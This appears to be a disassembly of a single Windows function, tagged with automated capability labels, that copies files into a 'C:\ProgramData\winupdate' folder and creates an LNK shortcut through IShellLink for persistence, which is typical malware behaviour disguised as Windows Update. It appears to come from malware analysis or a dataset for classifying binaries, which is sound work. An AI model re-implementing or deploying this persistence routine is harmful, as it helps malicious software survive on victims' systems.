Function at 0x10001b20
Capabilities:
Copy file
Create directory
Create shortcut via ishelllink
Enumerate files on windows
Get common file path
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003f4cb
mov eax, dword fs:[0]
push eax
sub esp, 0xae4
mov eax, dword [0x1004f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0xabc]
push eax
push 0
push 0
push 0x10041240
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x10001ec4
lea eax, [ebp - 0x848]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x10001ec4
lea eax, [ebp - 0x848]
push str.winupdate
push eax
call fcn.1001f7a8
add esp, 8
test eax, eax
jne 0x10001ec4
push eax
push str.C:ProgramDatawinupdate
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x10001ec4
lea eax, [ebp - 0xab0]
push eax
push 0x10049a00
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10001d9c
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [eax]
test byte [ebp - 0xab0], 0x10
jne 0x10001d83
lea eax, [ebp - 0x848]
push eax
lea ecx, [ebp - 0xaec]
call fcn.10002a10
push 0x10049a04
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xad4]
call fcn.10002d30
lea ecx, [ebp - 0xa84]
mov byte [ebp - 4], 1
push ecx
mov edx, eax
lea ecx, [ebp - 0x860]
call fcn.10002d30
mov byte [ebp - 4], 0
add esp, 8
mov ecx, dword [ebp - 0xac0]
cmp ecx, 7
jbe 0x10001c77
mov edx, dword [ebp - 0xad4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001c6d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001ee0
push ecx
push edx
call fcn.1001e294
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xad8]
mov dword [ebp - 0xac4], 0
mov dword [ebp - 0xac0], 7
mov word [ebp - 0xad4], ax
cmp ecx, 7
jbe 0x10001cdb
mov edx, dword [ebp - 0xaec]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001cd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001ee0
push ecx
push edx
call fcn.1001e294
add esp, 8
cmp dword [ebp - 0x84c], 7
lea eax, [ebp - 0x220]
push 0x20a
push 0
lea esi, [ebp - 0x860]
cmova esi, dword [ebp - 0x860]
push eax
call fcn.10020020
push str.C:ProgramDatawinupdate_
lea eax, [ebp - 0x220]
push 0x105
push eax
call fcn.10023487
lea eax, [ebp - 0xa84]
push eax
lea eax, [ebp - 0x220]
push 0x105
push eax
call fcn.10023487
add esp, 0x24
lea eax, [ebp - 0x220]
push 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp - 0x84c]
cmp ecx, 7
jbe 0x10001d83
mov edx, dword [ebp - 0x860]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10001d79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001ee0
push ecx
push edx
call fcn.1001e294
add esp, 8
lea eax, [ebp - 0xab0]
push eax
push edi
call ebx
test eax, eax
jne 0x10001be0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x20a
lea eax, [ebp - 0x640]
push 0
push eax
call fcn.10020020
push dword [ebp - 0xabc]
lea eax, [ebp - 0x640]
push 0x105
push eax
call fcn.10023423
push 0x10049a08
lea eax, [ebp - 0x640]
push 0x105
push eax
call fcn.10023487
push 0x20a
lea eax, [ebp - 0x430]
push 0
push eax
call fcn.10020020
push str.C:ProgramDatawinupdate_
lea eax, [ebp - 0x430]
push 0x105
push eax
call fcn.10023423
push 0x100515c8
lea eax, [ebp - 0x430]
push 0x105
push eax
call fcn.10023487
add esp, 0x48
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x10001ec4
lea eax, [ebp - 0xab4]
mov dword [ebp - 0xab4], 0
push eax
push 0x10041250
push 1
push 0
push 0x10041260
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10001ebe
mov eax, dword [ebp - 0xab4]
lea edx, [ebp - 0x430]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0xab4]
lea edx, [ebp - 0xab8]
push edx
mov dword [ebp - 0xab8], 0
push 0x10041270
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
js 0x10001eb2
mov eax, dword [ebp - 0xab8]
lea edx, [ebp - 0x640]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
test eax, eax
mov eax, dword [ebp - 0xab8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xab4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e286
mov esp, ebp
pop ebp
ret
call fcn.1002317f
int3